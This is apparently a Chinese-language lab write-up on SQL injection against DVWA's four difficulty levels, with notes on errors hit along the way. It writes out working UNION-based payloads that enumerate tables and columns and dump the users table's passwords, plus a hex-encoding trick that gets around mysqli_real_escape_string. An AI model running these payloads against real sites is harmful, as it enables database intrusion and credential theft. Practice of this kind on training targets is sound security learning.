一、普通sql注入步骤(dvwa的low)
(1)判断类型:
数字类型:url中输入?id=1 and 1=1 页面依旧正常运行,继续下一步
url中输入?id=1 and 1=2 页面运行错误,则说明此 Sql 注入为数字型注入。
字符类型:url中输入1' and '1' = '1,页面运行正常,继续进行下一步。
url中继续输入1' and '1' = '2,页面运行错误,则说明此 Sql 注入为字符型注入。
(2)猜解SQL查询语句中的字段数:
id =1' order by 3# 如果报错说明字段只有两列
用union select1,2查询回显位置,并且可以判断执行的SQL语句为select First name,Surname from 表 where ID=’id’…
(3)获取当前数据库及版本信息
1’ union select version(), database()#
4、获取数据库表名
1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema = database() #
group_concat可以不用
5、获取表中的字段名
在上一步获取了表名后可以进行下面操作查询表中字段
1' union select 1, group_concat(column_name) from information_schema.columns where table_name='users'#
dvwa中依然有报错,16进制hex输出即可即group_concat(hex(column_name))
6、获取字段中数据
1' union select user,password from users#
二、medium难度
采用burp suite抓包进行注入
步骤跟第一步相同,但是获取表格字段时采用id=3 union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#会报错
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id); //mysqli_real_escape_string() 函数转义在 SQL 语句中使用的字符串中的特殊字符。因此当SQL语句中'',会直接让其转义,并不能对数据库的内容进行修改。所以需要对users进行编码;user转换为16进制为0x7573657273。
输入id=1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273#&Submit=Submit可以解决
三、high难度
注入界面跟回显界面不同,防止了sqlmap注入,源码分析发现对注入进行了limit1限制,但是正常注入#就已经将其注释掉了,所以跟low注入即可,但是我使用group_concat注入只能回显一行,去掉group_concat正常,操作跟之前low一模一样。
四、impossible难度
采用了Anti-CSRF token防止CSRF攻击,is_numeric检查输入值是否是数字,并且用intval转换为整数形
使用了占位符:id防范sql注入,用bindparam()将id绑定到:id上
找了很多文章学习没有找到解决这个难度的过程,我也无从下手,然后看见一篇文章用sqlmap的cookie注入可以直接拿下
问题分析:
(1)获取表名时报错Illegal mix of collations for operation ‘UNION’
出现这个问题是因为information_schema数据库里面都是utf8_general_ci,而靶场网站user表中的数据都是utf8_unicode_ci
解决方法:以16进制读取,然后再进行在线hex解码即可:如下
(2)查询字段时网页回显没反应即错误
获取表格字段时采用id=3 union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#会报错。因为源代码中的$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id); //mysqli_real_escape_string() 函数转义在 SQL 语句中使用的字符串中的特殊字符。因此当SQL语句中'',会直接让其转义,并不能对数据库的内容进行修改。所以需要对users进行编码;user转换为16进制为0x7573657273。
id=1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273#&Submit=Submit
参考文章:
(1)[网络安全] DVWA之SQL注入—Impossible level代码审计_dvwasql注入impossible-CSDN博客